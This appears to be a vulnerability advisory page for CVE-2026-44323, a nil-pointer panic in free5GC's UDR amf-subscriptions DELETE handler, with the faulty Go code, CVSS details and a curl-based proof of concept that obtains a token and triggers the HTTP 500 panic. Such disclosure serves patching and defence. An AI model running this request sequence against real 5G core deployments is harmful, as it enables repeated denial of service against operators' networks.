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🛡️ CVE-2026-44323 — free5gc

🟡 CVSS 4.3 — Medium ⚠️ Exploit Public CWE-476 NVD
4.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/udr:v4.2.1
  • Runtime UDR commit: 754d23b0
  • Docker validation date: 2026-03-22
  • UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state):

```go

if !ok {

udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))

value, _ = udrSelf.UESubsCollection.Load(ueId)

}

...

UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)

```

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry:

```go

_, ok = UESubsData.EeSubscriptionCollection[subsId]

if !ok {

pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")

}

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {

pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND")

}

```

When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr):

  • Precondition route + handler (EE-subscription create that allocates UE state):
  • NFs/udr/internal/sbi/api_datarepository.go:600
  • NFs/udr/internal/sbi/api_datarepository.go:602
  • NFs/udr/internal/sbi/api_datarepository.go:2528
  • NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25
  • NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30
  • NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38
  • Vulnerable delete route + dispatch:
  • NFs/udr/internal/sbi/api_datarepository.go:2161
  • NFs/udr/internal/sbi/api_datarepository.go:2172
  • Panic root cause (nil deref):
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

1. Restart UDR (clean state):

```

docker restart udr

```

2. Obtain a valid nudr-dr token from NRF:

```

curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \

-H 'Content-Type: application/x-www-form-urlencoded' \

--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

```

3. Create one EE subscription to populate UESubsCollection for ueId=x:

```

curl -i -sS -X POST \

'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \

-H 'Authorization: Bearer <valid_nudr_dr_jwt>' \

-H 'Content-Type: application/json' \

--data '{}'

```

```

HTTP/1.1 201 Created

```

4. Trigger the panic with a nonexistent subsId:

```

curl -i -sS -X DELETE \

'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \

-H 'Authorization: Bearer <valid_nudr_dr_jwt>'

```

```

HTTP/1.1 500 Internal Server Error

Content-Length: 0

```

5. UDR container logs (docker logs udr) confirm the nil-pointer panic at event_amf_subscription_info_document.go:69 inside RemoveAmfSubscriptionsInfoProcedure:

```

[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference

github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure

.../event_amf_subscription_info_document.go:69

github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo

.../api_datarepository.go:2172

[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

```

Impact

NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a probl

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-44323 is classified as CWE-476: NULL Pointer Dereference. A pointer that can be null is used without a check, crashing the process.

Affected software

CVE-2026-44323 is recorded against 2 packages.

  • free5gc (fixed in 4.2.2)
  • github.com/free5gc/udr

Timeline and source

Published on 27 May 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com

Other advisories for this package

free5gc has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-476: NULL Pointer Dereference) in other software:

Details

Severity MEDIUM
CVSS Score 4.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
CWE CWE-476
Public Exploit ⚠️ Yes
Source NVD
Published 2026-05-27
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
free5gc 4.2.2
github.com/free5gc/udr

Similar Threats

Exploit Protection

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